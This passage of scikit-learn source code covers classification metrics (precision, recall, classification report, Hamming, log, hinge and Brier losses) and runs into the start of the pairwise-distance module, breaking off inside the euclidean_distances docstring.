    ... labels=['pig', 'dog', 'cat'])
    ... # doctest: +ELLIPSIS,+NORMALIZE_WHITESPACE
    (array([ 0. ,  0. ,  0.66...]),
     array([ 0.,  0.,  1.]),
     array([ 0. ,  0. ,  0.8]),
     array([2, 2, 2]))

    """
    average_options = (None, 'micro', 'macro', 'weighted', 'samples')
    if average not in average_options and average != 'binary':
        raise ValueError('average has to be one of ' +
                         str(average_options))
    if beta <= 0:
        raise ValueError("beta should be >0 in the F-beta score")

    y_type, y_true, y_pred = _check_targets(y_true, y_pred)
    present_labels = unique_labels(y_true, y_pred)

    if average == 'binary' and (y_type != 'binary' or pos_label is None):
        warnings.warn('The default `weighted` averaging is deprecated, '
                      'and from version 0.18, use of precision, recall or '
                      'F-score with multiclass or multilabel data or '
                      'pos_label=None will result in an exception. '
                      'Please set an explicit value for `average`, one of '
                      '%s. In cross validation use, for instance, '
                      'scoring="f1_weighted" instead of scoring="f1".'
                      % str(average_options), DeprecationWarning, stacklevel=2)
        average = 'weighted'

    if y_type == 'binary' and pos_label is not None and average is not None:
        if average != 'binary':
            warnings.warn('From version 0.18, binary input will not be '
                          'handled specially when using averaged '
                          'precision/recall/F-score. '
                          'Please use average=\'binary\' to report only the '
                          'positive class performance.', DeprecationWarning)
        if labels is None or len(labels) <= 2:
            if pos_label not in present_labels:
                if len(present_labels) < 2:
                    # Only negative labels
                    return (0., 0., 0., 0)
                else:
                    raise ValueError("pos_label=%r is not a valid label: %r" %
                                     (pos_label, present_labels))
            labels = [pos_label]
    if labels is None:
        labels = present_labels
        n_labels = None
    else:
        n_labels = len(labels)
        labels = np.hstack([labels, np.setdiff1d(present_labels, labels,
                                                 assume_unique=True)])

    # Calculate tp_sum, pred_sum, true_sum ###

    if y_type.startswith('multilabel'):
        sum_axis = 1 if average == 'samples' else 0

        # All labels are index integers for multilabel.
        # Select labels:
        if not np.all(labels == present_labels):
            if np.max(labels) > np.max(present_labels):
                raise ValueError('All labels must be in [0, n labels). '
                                 'Got %d > %d' %
                                 (np.max(labels), np.max(present_labels)))
            if np.min(labels) < 0:
                raise ValueError('All labels must be in [0, n labels). '
                                 'Got %d < 0' % np.min(labels))

            y_true = y_true[:, labels[:n_labels]]
            y_pred = y_pred[:, labels[:n_labels]]

        # calculate weighted counts
        true_and_pred = y_true.multiply(y_pred)
        tp_sum = count_nonzero(true_and_pred, axis=sum_axis,
                               sample_weight=sample_weight)
        pred_sum = count_nonzero(y_pred, axis=sum_axis,
                                 sample_weight=sample_weight)
        true_sum = count_nonzero(y_true, axis=sum_axis,
                                 sample_weight=sample_weight)

    elif average == 'samples':
        raise ValueError("Sample-based precision, recall, fscore is "
                         "not meaningful outside multilabel "
                         "classification. See the accuracy_score instead.")
    else:
        le = LabelEncoder()
        le.fit(labels)
        y_true = le.transform(y_true)
        y_pred = le.transform(y_pred)
        sorted_labels = le.classes_

        # labels are now from 0 to len(labels) - 1 -> use bincount
        tp = y_true == y_pred
        tp_bins = y_true[tp]
        if sample_weight is not None:
            tp_bins_weights = np.asarray(sample_weight)[tp]
        else:
            tp_bins_weights = None

        if len(tp_bins):
            tp_sum = bincount(tp_bins, weights=tp_bins_weights,
                              minlength=len(labels))
        else:
            # Pathological case
            true_sum = pred_sum = tp_sum = np.zeros(len(labels))
        if len(y_pred):
            pred_sum = bincount(y_pred, weights=sample_weight,
                                minlength=len(labels))
        if len(y_true):
            true_sum = bincount(y_true, weights=sample_weight,
                                minlength=len(labels))

        # Retain only selected labels
        indices = np.searchsorted(sorted_labels, labels[:n_labels])
        tp_sum = tp_sum[indices]
        true_sum = true_sum[indices]
        pred_sum = pred_sum[indices]

    if average == 'micro':
        tp_sum = np.array([tp_sum.sum()])
        pred_sum = np.array([pred_sum.sum()])
        true_sum = np.array([true_sum.sum()])

    # Finally, we have all our sufficient statistics. Divide! #

    beta2 = beta ** 2
    with np.errstate(divide='ignore', invalid='ignore'):
        # Divide, and on zero-division, set scores to 0 and warn:

        # Oddly, we may get an "invalid" rather than a "divide" error
        # here.
        precision = _prf_divide(tp_sum, pred_sum,
                                'precision', 'predicted', average, warn_for)
        recall = _prf_divide(tp_sum, true_sum,
                             'recall', 'true', average, warn_for)
        # Don't need to warn for F: either P or R warned, or tp == 0 where pos
        # and true are nonzero, in which case, F is well-defined and zero
        f_score = ((1 + beta2) * precision * recall /
                   (beta2 * precision + recall))
        f_score[tp_sum == 0] = 0.0

    # Average the results

    if average == 'weighted':
        weights = true_sum
        if weights.sum() == 0:
            return 0, 0, 0, None
    elif average == 'samples':
        weights = sample_weight
    else:
        weights = None

    if average is not None:
        assert average != 'binary' or len(precision) == 1
        precision = np.average(precision, weights=weights)
        recall = np.average(recall, weights=weights)
        f_score = np.average(f_score, weights=weights)
        true_sum = None  # return no support

    return precision, recall, f_score, true_sum


def precision_score(y_true, y_pred, labels=None, pos_label=1,
                    average='binary', sample_weight=None):
    """Compute the precision

    The precision is the ratio ``tp / (tp + fp)`` where ``tp`` is the number of
    true positives and ``fp`` the number of false positives. The precision is
    intuitively the ability of the classifier not to label as positive a sample
    that is negative.

    The best value is 1 and the worst value is 0.

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) target values.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Estimated targets as returned by a classifier.

    labels : list, optional
        The set of labels to include when ``average != 'binary'``, and their
        order if ``average is None``. Labels present in the data can be
        excluded, for example to calculate a multiclass average ignoring a
        majority negative class, while labels not present in the data will
        result in 0 components in a macro average. For multilabel targets,
        labels are column indices. By default, all labels in ``y_true`` and
        ``y_pred`` are used in sorted order.

        .. versionchanged:: 0.17
           parameter *labels* improved for multiclass problem.

    pos_label : str or int, 1 by default
        The class to report if ``average='binary'``. Until version 0.18 it is
        necessary to set ``pos_label=None`` if seeking to use another averaging
        method over binary targets.

    average : string, [None, 'binary' (default), 'micro', 'macro', 'samples', \
                       'weighted']
        This parameter is required for multiclass/multilabel targets.
        If ``None``, the scores for each class are returned. Otherwise, this
        determines the type of averaging performed on the data:

        ``'binary'``:
            Only report results for the class specified by ``pos_label``.
            This is applicable only if targets (``y_{true,pred}``) are binary.
        ``'micro'``:
            Calculate metrics globally by counting the total true positives,
            false negatives and false positives.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label). This
            alters 'macro' to account for label imbalance; it can result in an
            F-score that is not between precision and recall.
        ``'samples'``:
            Calculate metrics for each instance, and find their average (only
            meaningful for multilabel classification where this differs from
            :func:`accuracy_score`).

        Note that if ``pos_label`` is given in binary classification with
        `average != 'binary'`, only that positive class is reported. This
        behavior is deprecated and will change in version 0.18.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    precision : float (if average is not None) or array of float, shape =\
        [n_unique_labels]
        Precision of the positive class in binary classification or weighted
        average of the precision of each class for the multiclass task.

    Examples
    --------

    >>> from sklearn.metrics import precision_score
    >>> y_true = [0, 1, 2, 0, 1, 2]
    >>> y_pred = [0, 2, 1, 0, 0, 1]
    >>> precision_score(y_true, y_pred, average='macro')  # doctest: +ELLIPSIS
    0.22...
    >>> precision_score(y_true, y_pred, average='micro')  # doctest: +ELLIPSIS
    0.33...
    >>> precision_score(y_true, y_pred, average='weighted')
    ... # doctest: +ELLIPSIS
    0.22...
    >>> precision_score(y_true, y_pred, average=None)  # doctest: +ELLIPSIS
    array([ 0.66...,  0.        ,  0.        ])

    """
    p, _, _, _ = precision_recall_fscore_support(y_true, y_pred,
                                                 labels=labels,
                                                 pos_label=pos_label,
                                                 average=average,
                                                 warn_for=('precision',),
                                                 sample_weight=sample_weight)
    return p


def recall_score(y_true, y_pred, labels=None, pos_label=1, average='binary',
                 sample_weight=None):
    """Compute the recall

    The recall is the ratio ``tp / (tp + fn)`` where ``tp`` is the number of
    true positives and ``fn`` the number of false negatives. The recall is
    intuitively the ability of the classifier to find all the positive samples.

    The best value is 1 and the worst value is 0.

    Read more in the :ref:`User Guide <precision_recall_f_measure_metrics>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) target values.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Estimated targets as returned by a classifier.

    labels : list, optional
        The set of labels to include when ``average != 'binary'``, and their
        order if ``average is None``. Labels present in the data can be
        excluded, for example to calculate a multiclass average ignoring a
        majority negative class, while labels not present in the data will
        result in 0 components in a macro average. For multilabel targets,
        labels are column indices. By default, all labels in ``y_true`` and
        ``y_pred`` are used in sorted order.

        .. versionchanged:: 0.17
           parameter *labels* improved for multiclass problem.

    pos_label : str or int, 1 by default
        The class to report if ``average='binary'``. Until version 0.18 it is
        necessary to set ``pos_label=None`` if seeking to use another averaging
        method over binary targets.

    average : string, [None, 'binary' (default), 'micro', 'macro', 'samples', \
                       'weighted']
        This parameter is required for multiclass/multilabel targets.
        If ``None``, the scores for each class are returned. Otherwise, this
        determines the type of averaging performed on the data:

        ``'binary'``:
            Only report results for the class specified by ``pos_label``.
            This is applicable only if targets (``y_{true,pred}``) are binary.
        ``'micro'``:
            Calculate metrics globally by counting the total true positives,
            false negatives and false positives.
        ``'macro'``:
            Calculate metrics for each label, and find their unweighted
            mean.  This does not take label imbalance into account.
        ``'weighted'``:
            Calculate metrics for each label, and find their average, weighted
            by support (the number of true instances for each label). This
            alters 'macro' to account for label imbalance; it can result in an
            F-score that is not between precision and recall.
        ``'samples'``:
            Calculate metrics for each instance, and find their average (only
            meaningful for multilabel classification where this differs from
            :func:`accuracy_score`).

        Note that if ``pos_label`` is given in binary classification with
        `average != 'binary'`, only that positive class is reported. This
        behavior is deprecated and will change in version 0.18.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    recall : float (if average is not None) or array of float, shape =\
        [n_unique_labels]
        Recall of the positive class in binary classification or weighted
        average of the recall of each class for the multiclass task.

    Examples
    --------
    >>> from sklearn.metrics import recall_score
    >>> y_true = [0, 1, 2, 0, 1, 2]
    >>> y_pred = [0, 2, 1, 0, 0, 1]
    >>> recall_score(y_true, y_pred, average='macro')  # doctest: +ELLIPSIS
    0.33...
    >>> recall_score(y_true, y_pred, average='micro')  # doctest: +ELLIPSIS
    0.33...
    >>> recall_score(y_true, y_pred, average='weighted')  # doctest: +ELLIPSIS
    0.33...
    >>> recall_score(y_true, y_pred, average=None)
    array([ 1.,  0.,  0.])


    """
    _, r, _, _ = precision_recall_fscore_support(y_true, y_pred,
                                                 labels=labels,
                                                 pos_label=pos_label,
                                                 average=average,
                                                 warn_for=('recall',),
                                                 sample_weight=sample_weight)
    return r


def classification_report(y_true, y_pred, labels=None, target_names=None,
                          sample_weight=None, digits=2):
    """Build a text report showing the main classification metrics

    Read more in the :ref:`User Guide <classification_report>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) target values.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Estimated targets as returned by a classifier.

    labels : array, shape = [n_labels]
        Optional list of label indices to include in the report.

    target_names : list of strings
        Optional display names matching the labels (same order).

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    digits : int
        Number of digits for formatting output floating point values

    Returns
    -------
    report : string
        Text summary of the precision, recall, F1 score for each class.

    Examples
    --------
    >>> from sklearn.metrics import classification_report
    >>> y_true = [0, 1, 2, 2, 2]
    >>> y_pred = [0, 0, 2, 2, 1]
    >>> target_names = ['class 0', 'class 1', 'class 2']
    >>> print(classification_report(y_true, y_pred, target_names=target_names))
                 precision    recall  f1-score   support
    <BLANKLINE>
        class 0       0.50      1.00      0.67         1
        class 1       0.00      0.00      0.00         1
        class 2       1.00      0.67      0.80         3
    <BLANKLINE>
    avg / total       0.70      0.60      0.61         5
    <BLANKLINE>

    """

    if labels is None:
        labels = unique_labels(y_true, y_pred)
    else:
        labels = np.asarray(labels)

    last_line_heading = 'avg / total'

    if target_names is None:
        target_names = ['%s' % l for l in labels]
    name_width = max(len(cn) for cn in target_names)
    width = max(name_width, len(last_line_heading), digits)

    headers = ["precision", "recall", "f1-score", "support"]
    fmt = '%% %ds' % width  # first column: class name
    fmt += '  '
    fmt += ' '.join(['% 9s' for _ in headers])
    fmt += '\n'

    headers = [""] + headers
    report = fmt % tuple(headers)
    report += '\n'

    p, r, f1, s = precision_recall_fscore_support(y_true, y_pred,
                                                  labels=labels,
                                                  average=None,
                                                  sample_weight=sample_weight)

    for i, label in enumerate(labels):
        values = [target_names[i]]
        for v in (p[i], r[i], f1[i]):
            values += ["{0:0.{1}f}".format(v, digits)]
        values += ["{0}".format(s[i])]
        report += fmt % tuple(values)

    report += '\n'

    # compute averages
    values = [last_line_heading]
    for v in (np.average(p, weights=s),
              np.average(r, weights=s),
              np.average(f1, weights=s)):
        values += ["{0:0.{1}f}".format(v, digits)]
    values += ['{0}'.format(np.sum(s))]
    report += fmt % tuple(values)
    return report


def hamming_loss(y_true, y_pred, classes=None, sample_weight=None):
    """Compute the average Hamming loss.

    The Hamming loss is the fraction of labels that are incorrectly predicted.

    Read more in the :ref:`User Guide <hamming_loss>`.

    Parameters
    ----------
    y_true : 1d array-like, or label indicator array / sparse matrix
        Ground truth (correct) labels.

    y_pred : 1d array-like, or label indicator array / sparse matrix
        Predicted labels, as returned by a classifier.

    classes : array, shape = [n_labels], optional
        Integer array of labels.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    loss : float or int,
        Return the average Hamming loss between element of ``y_true`` and
        ``y_pred``.

    See Also
    --------
    accuracy_score, jaccard_similarity_score, zero_one_loss

    Notes
    -----
    In multiclass classification, the Hamming loss correspond to the Hamming
    distance between ``y_true`` and ``y_pred`` which is equivalent to the
    subset ``zero_one_loss`` function.

    In multilabel classification, the Hamming loss is different from the
    subset zero-one loss. The zero-one loss considers the entire set of labels
    for a given sample incorrect if it does entirely match the true set of
    labels. Hamming loss is more forgiving in that it penalizes the individual
    labels.

    The Hamming loss is upperbounded by the subset zero-one loss. When
    normalized over samples, the Hamming loss is always between 0 and 1.

    References
    ----------
    .. [1] Grigorios Tsoumakas, Ioannis Katakis. Multi-Label Classification:
           An Overview. International Journal of Data Warehousing & Mining,
           3(3), 1-13, July-September 2007.

    .. [2] `Wikipedia entry on the Hamming distance
           <https://en.wikipedia.org/wiki/Hamming_distance>`_

    Examples
    --------
    >>> from sklearn.metrics import hamming_loss
    >>> y_pred = [1, 2, 3, 4]
    >>> y_true = [2, 2, 3, 4]
    >>> hamming_loss(y_true, y_pred)
    0.25

    In the multilabel case with binary label indicators:

    >>> hamming_loss(np.array([[0, 1], [1, 1]]), np.zeros((2, 2)))
    0.75
    """
    y_type, y_true, y_pred = _check_targets(y_true, y_pred)

    if classes is None:
        classes = unique_labels(y_true, y_pred)
    else:
        classes = np.asarray(classes)

    if sample_weight is None:
        weight_average = 1.
    else:
        weight_average = np.mean(sample_weight)

    if y_type.startswith('multilabel'):
        n_differences = count_nonzero(y_true - y_pred,
                                      sample_weight=sample_weight)
        return (n_differences /
                (y_true.shape[0] * len(classes) * weight_average))

    elif y_type in ["binary", "multiclass"]:
        return _weighted_sum(y_true != y_pred, sample_weight, normalize=True)
    else:
        raise ValueError("{0} is not supported".format(y_type))


def log_loss(y_true, y_pred, eps=1e-15, normalize=True, sample_weight=None):
    """Log loss, aka logistic loss or cross-entropy loss.

    This is the loss function used in (multinomial) logistic regression
    and extensions of it such as neural networks, defined as the negative
    log-likelihood of the true labels given a probabilistic classifier's
    predictions. For a single sample with true label yt in {0,1} and
    estimated probability yp that yt = 1, the log loss is

        -log P(yt|yp) = -(yt log(yp) + (1 - yt) log(1 - yp))

    Read more in the :ref:`User Guide <log_loss>`.

    Parameters
    ----------
    y_true : array-like or label indicator matrix
        Ground truth (correct) labels for n_samples samples.

    y_pred : array-like of float, shape = (n_samples, n_classes)
        Predicted probabilities, as returned by a classifier's
        predict_proba method.

    eps : float
        Log loss is undefined for p=0 or p=1, so probabilities are
        clipped to max(eps, min(1 - eps, p)).

    normalize : bool, optional (default=True)
        If true, return the mean loss per sample.
        Otherwise, return the sum of the per-sample losses.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    loss : float

    Examples
    --------
    >>> log_loss(["spam", "ham", "ham", "spam"],  # doctest: +ELLIPSIS
    ...          [[.1, .9], [.9, .1], [.8, .2], [.35, .65]])
    0.21616...

    References
    ----------
    C.M. Bishop (2006). Pattern Recognition and Machine Learning. Springer,
    p. 209.

    Notes
    -----
    The logarithm used is the natural logarithm (base-e).
    """
    lb = LabelBinarizer()
    T = lb.fit_transform(y_true)
    if T.shape[1] == 1:
        T = np.append(1 - T, T, axis=1)

    y_pred = check_array(y_pred, ensure_2d=False)
    # Clipping
    Y = np.clip(y_pred, eps, 1 - eps)

    # This happens in cases when elements in y_pred have type "str".
    if not isinstance(Y, np.ndarray):
        raise ValueError("y_pred should be an array of floats.")

    # If y_pred is of single dimension, assume y_true to be binary
    # and then check.
    if Y.ndim == 1:
        Y = Y[:, np.newaxis]
    if Y.shape[1] == 1:
        Y = np.append(1 - Y, Y, axis=1)

    # Check if dimensions are consistent.
    check_consistent_length(T, Y)
    T = check_array(T)
    Y = check_array(Y)
    if T.shape[1] != Y.shape[1]:
        raise ValueError("y_true and y_pred have different number of classes "
                         "%d, %d" % (T.shape[1], Y.shape[1]))

    # Renormalize
    Y /= Y.sum(axis=1)[:, np.newaxis]
    loss = -(T * np.log(Y)).sum(axis=1)

    return _weighted_sum(loss, sample_weight, normalize)


def hinge_loss(y_true, pred_decision, labels=None, sample_weight=None):
    """Average hinge loss (non-regularized)

    In binary class case, assuming labels in y_true are encoded with +1 and -1,
    when a prediction mistake is made, ``margin = y_true * pred_decision`` is
    always negative (since the signs disagree), implying ``1 - margin`` is
    always greater than 1.  The cumulated hinge loss is therefore an upper
    bound of the number of mistakes made by the classifier.

    In multiclass case, the function expects that either all the labels are
    included in y_true or an optional labels argument is provided which
    contains all the labels. The multilabel margin is calculated according
    to Crammer-Singer's method. As in the binary case, the cumulated hinge loss
    is an upper bound of the number of mistakes made by the classifier.

    Read more in the :ref:`User Guide <hinge_loss>`.

    Parameters
    ----------
    y_true : array, shape = [n_samples]
        True target, consisting of integers of two values. The positive label
        must be greater than the negative label.

    pred_decision : array, shape = [n_samples] or [n_samples, n_classes]
        Predicted decisions, as output by decision_function (floats).

    labels : array, optional, default None
        Contains all the labels for the problem. Used in multiclass hinge loss.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    Returns
    -------
    loss : float

    References
    ----------
    .. [1] `Wikipedia entry on the Hinge loss
           <https://en.wikipedia.org/wiki/Hinge_loss>`_

    .. [2] Koby Crammer, Yoram Singer. On the Algorithmic
           Implementation of Multiclass Kernel-based Vector
           Machines. Journal of Machine Learning Research 2,
           (2001), 265-292

    .. [3] `L1 AND L2 Regularization for Multiclass Hinge Loss Models
           by Robert C. Moore, John DeNero.
           <http://www.ttic.edu/sigml/symposium2011/papers/
           Moore+DeNero_Regularization.pdf>`_

    Examples
    --------
    >>> from sklearn import svm
    >>> from sklearn.metrics import hinge_loss
    >>> X = [[0], [1]]
    >>> y = [-1, 1]
    >>> est = svm.LinearSVC(random_state=0)
    >>> est.fit(X, y)
    LinearSVC(C=1.0, class_weight=None, dual=True, fit_intercept=True,
         intercept_scaling=1, loss='squared_hinge', max_iter=1000,
         multi_class='ovr', penalty='l2', random_state=0, tol=0.0001,
         verbose=0)
    >>> pred_decision = est.decision_function([[-2], [3], [0.5]])
    >>> pred_decision  # doctest: +ELLIPSIS
    array([-2.18...,  2.36...,  0.09...])
    >>> hinge_loss([-1, 1, 1], pred_decision)  # doctest: +ELLIPSIS
    0.30...

    In the multiclass case:

    >>> X = np.array([[0], [1], [2], [3]])
    >>> Y = np.array([0, 1, 2, 3])
    >>> labels = np.array([0, 1, 2, 3])
    >>> est = svm.LinearSVC()
    >>> est.fit(X, Y)
    LinearSVC(C=1.0, class_weight=None, dual=True, fit_intercept=True,
         intercept_scaling=1, loss='squared_hinge', max_iter=1000,
         multi_class='ovr', penalty='l2', random_state=None, tol=0.0001,
         verbose=0)
    >>> pred_decision = est.decision_function([[-1], [2], [3]])
    >>> y_true = [0, 2, 3]
    >>> hinge_loss(y_true, pred_decision, labels)  #doctest: +ELLIPSIS
    0.56...
    """
    check_consistent_length(y_true, pred_decision, sample_weight)
    pred_decision = check_array(pred_decision, ensure_2d=False)
    y_true = column_or_1d(y_true)
    y_true_unique = np.unique(y_true)
    if y_true_unique.size > 2:
        if (labels is None and pred_decision.ndim > 1 and
                (np.size(y_true_unique) != pred_decision.shape[1])):
            raise ValueError("Please include all labels in y_true "
                             "or pass labels as third argument")
        if labels is None:
            labels = y_true_unique
        le = LabelEncoder()
        le.fit(labels)
        y_true = le.transform(y_true)
        mask = np.ones_like(pred_decision, dtype=bool)
        mask[np.arange(y_true.shape[0]), y_true] = False
        margin = pred_decision[~mask]
        margin -= np.max(pred_decision[mask].reshape(y_true.shape[0], -1),
                         axis=1)

    else:
        # Handles binary class case
        # this code assumes that positive and negative labels
        # are encoded as +1 and -1 respectively
        pred_decision = column_or_1d(pred_decision)
        pred_decision = np.ravel(pred_decision)

        lbin = LabelBinarizer(neg_label=-1)
        y_true = lbin.fit_transform(y_true)[:, 0]

        try:
            margin = y_true * pred_decision
        except TypeError:
            raise TypeError("pred_decision should be an array of floats.")

    losses = 1 - margin
    # The hinge_loss doesn't penalize good enough predictions.
    losses[losses <= 0] = 0
    return np.average(losses, weights=sample_weight)


def _check_binary_probabilistic_predictions(y_true, y_prob):
    """Check that y_true is binary and y_prob contains valid probabilities"""
    check_consistent_length(y_true, y_prob)

    labels = np.unique(y_true)

    if len(labels) > 2:
        raise ValueError("Only binary classification is supported. "
                         "Provided labels %s." % labels)

    if y_prob.max() > 1:
        raise ValueError("y_prob contains values greater than 1.")

    if y_prob.min() < 0:
        raise ValueError("y_prob contains values less than 0.")

    return label_binarize(y_true, labels)[:, 0]


def brier_score_loss(y_true, y_prob, sample_weight=None, pos_label=None):
    """Compute the Brier score.

    The smaller the Brier score, the better, hence the naming with "loss".

    Across all items in a set N predictions, the Brier score measures the
    mean squared difference between (1) the predicted probability assigned
    to the possible outcomes for item i, and (2) the actual outcome.
    Therefore, the lower the Brier score is for a set of predictions, the
    better the predictions are calibrated. Note that the Brier score always
    takes on a value between zero and one, since this is the largest
    possible difference between a predicted probability (which must be
    between zero and one) and the actual outcome (which can take on values
    of only 0 and 1).

    The Brier score is appropriate for binary and categorical outcomes that
    can be structured as true or false, but is inappropriate for ordinal
    variables which can take on three or more values (this is because the
    Brier score assumes that all possible outcomes are equivalently
    "distant" from one another). Which label is considered to be the positive
    label is controlled via the parameter pos_label, which defaults to 1.

    Read more in the :ref:`User Guide <calibration>`.

    Parameters
    ----------
    y_true : array, shape (n_samples,)
        True targets.

    y_prob : array, shape (n_samples,)
        Probabilities of the positive class.

    sample_weight : array-like of shape = [n_samples], optional
        Sample weights.

    pos_label : int (default: None)
        Label of the positive class. If None, the maximum label is used as
        positive class

    Returns
    -------
    score : float
        Brier score

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.metrics import brier_score_loss
    >>> y_true = np.array([0, 1, 1, 0])
    >>> y_true_categorical = np.array(["spam", "ham", "ham", "spam"])
    >>> y_prob = np.array([0.1, 0.9, 0.8, 0.3])
    >>> brier_score_loss(y_true, y_prob)  # doctest: +ELLIPSIS
    0.037...
    >>> brier_score_loss(y_true, 1-y_prob, pos_label=0)  # doctest: +ELLIPSIS
    0.037...
    >>> brier_score_loss(y_true_categorical, y_prob, \
                         pos_label="ham")  # doctest: +ELLIPSIS
    0.037...
    >>> brier_score_loss(y_true, np.array(y_prob) > 0.5)
    0.0

    References
    ----------
    .. [1] `Wikipedia entry for the Brier score.
            <https://en.wikipedia.org/wiki/Brier_score>`_
    """
    y_true = column_or_1d(y_true)
    y_prob = column_or_1d(y_prob)
    assert_all_finite(y_true)
    assert_all_finite(y_prob)

    if pos_label is None:
        pos_label = y_true.max()
    y_true = np.array(y_true == pos_label, int)
    y_true = _check_binary_probabilistic_predictions(y_true, y_prob)
    return np.average((y_true - y_prob) ** 2, weights=sample_weight)






# -*- coding: utf-8 -*-

# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Robert Layton <robertlayton@gmail.com>
#          Andreas Mueller <amueller@ais.uni-bonn.de>
#          Philippe Gervais <philippe.gervais@inria.fr>
#          Lars Buitinck
#          Joel Nothman <joel.nothman@gmail.com>
# License: BSD 3 clause

import itertools

import numpy as np
from scipy.spatial import distance
from scipy.sparse import csr_matrix
from scipy.sparse import issparse

from ..utils import check_array
from ..utils import gen_even_slices
from ..utils import gen_batches
from ..utils.fixes import partial
from ..utils.extmath import row_norms, safe_sparse_dot
from ..preprocessing import normalize
from ..externals.joblib import Parallel
from ..externals.joblib import delayed
from ..externals.joblib.parallel import cpu_count

from .pairwise_fast import _chi2_kernel_fast, _sparse_manhattan


# Utility Functions
def _return_float_dtype(X, Y):
    """
    1. If dtype of X and Y is float32, then dtype float32 is returned.
    2. Else dtype float is returned.
    """
    if not issparse(X) and not isinstance(X, np.ndarray):
        X = np.asarray(X)

    if Y is None:
        Y_dtype = X.dtype
    elif not issparse(Y) and not isinstance(Y, np.ndarray):
        Y = np.asarray(Y)
        Y_dtype = Y.dtype
    else:
        Y_dtype = Y.dtype

    if X.dtype == Y_dtype == np.float32:
        dtype = np.float32
    else:
        dtype = np.float

    return X, Y, dtype


def check_pairwise_arrays(X, Y, precomputed=False, dtype=None):
    """ Set X and Y appropriately and checks inputs

    If Y is None, it is set as a pointer to X (i.e. not a copy).
    If Y is given, this does not happen.
    All distance metrics should use this function first to assert that the
    given parameters are correct and safe to use.

    Specifically, this function first ensures that both X and Y are arrays,
    then checks that they are at least two dimensional while ensuring that
    their elements are floats (or dtype if provided). Finally, the function
    checks that the size of the second dimension of the two arrays is equal, or
    the equivalent check for a precomputed distance matrix.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples_a, n_features)

    Y : {array-like, sparse matrix}, shape (n_samples_b, n_features)

    precomputed : bool
        True if X is to be treated as precomputed distances to the samples in
        Y.

    dtype : string, type, list of types or None (default=None)
        Data type required for X and Y. If None, the dtype will be an
        appropriate float type selected by _return_float_dtype.

        .. versionadded:: 0.18

    Returns
    -------
    safe_X : {array-like, sparse matrix}, shape (n_samples_a, n_features)
        An array equal to X, guaranteed to be a numpy array.

    safe_Y : {array-like, sparse matrix}, shape (n_samples_b, n_features)
        An array equal to Y if Y was not None, guaranteed to be a numpy array.
        If Y was None, safe_Y will be a pointer to X.

    """
    X, Y, dtype_float = _return_float_dtype(X, Y)

    warn_on_dtype = dtype is not None
    estimator = 'check_pairwise_arrays'
    if dtype is None:
        dtype = dtype_float

    if Y is X or Y is None:
        X = Y = check_array(X, accept_sparse='csr', dtype=dtype,
                            warn_on_dtype=warn_on_dtype, estimator=estimator)
    else:
        X = check_array(X, accept_sparse='csr', dtype=dtype,
                        warn_on_dtype=warn_on_dtype, estimator=estimator)
        Y = check_array(Y, accept_sparse='csr', dtype=dtype,
                        warn_on_dtype=warn_on_dtype, estimator=estimator)

    if precomputed:
        if X.shape[1] != Y.shape[0]:
            raise ValueError("Precomputed metric requires shape "
                             "(n_queries, n_indexed). Got (%d, %d) "
                             "for %d indexed." %
                             (X.shape[0], X.shape[1], Y.shape[0]))
    elif X.shape[1] != Y.shape[1]:
        raise ValueError("Incompatible dimension for X and Y matrices: "
                         "X.shape[1] == %d while Y.shape[1] == %d" % (
                             X.shape[1], Y.shape[1]))

    return X, Y


def check_paired_arrays(X, Y):
    """ Set X and Y appropriately and checks inputs for paired distances

    All paired distance metrics should use this function first to assert that
    the given parameters are correct and safe to use.

    Specifically, this function first ensures that both X and Y are arrays,
    then checks that they are at least two dimensional while ensuring that
    their elements are floats. Finally, the function checks that the size
    of the dimensions of the two arrays are equal.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples_a, n_features)

    Y : {array-like, sparse matrix}, shape (n_samples_b, n_features)

    Returns
    -------
    safe_X : {array-like, sparse matrix}, shape (n_samples_a, n_features)
        An array equal to X, guaranteed to be a numpy array.

    safe_Y : {array-like, sparse matrix}, shape (n_samples_b, n_features)
        An array equal to Y if Y was not None, guaranteed to be a numpy array.
        If Y was None, safe_Y will be a pointer to X.

    """
    X, Y = check_pairwise_arrays(X, Y)
    if X.shape != Y.shape:
        raise ValueError("X and Y should be of same shape. They were "
                         "respectively %r and %r long." % (X.shape, Y.shape))
    return X, Y


# Pairwise distances
def euclidean_distances(X, Y=None, Y_norm_squared=None, squared=False,
                        X_norm_squared=None):
    """
    Considering the rows of X (and Y=X) as vectors, compute the
    distance matrix between each pair of vectors.

    For efficiency reasons, the euclidean distance between a pair of row
    vector x and y is computed as::

        dist(x, y) = sqrt(dot(x, x) - 2 * dot(x, y) + dot(y, y))

    This formulation has two advantages over other ways of computing distances.
    First, it is computationally efficient when dealing with sparse data.
    Second, if one argument varies but the other remains unchanged, then
    `dot(x, x)` and/or `dot(y, y)` can be pre-computed.

    However, this is not the most precise way of doing this computation, and
    the distance matrix returned by this function may not be exactly
    symmetric as required by, e.g., ``scipy.spatial.distance`` functions.

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples_1, n_features)

    Y : {array-like, sparse matrix}, shape (n_samples_2, n_features)

    Y_norm_squared : array-like, shape (n_samples_2, ), optional
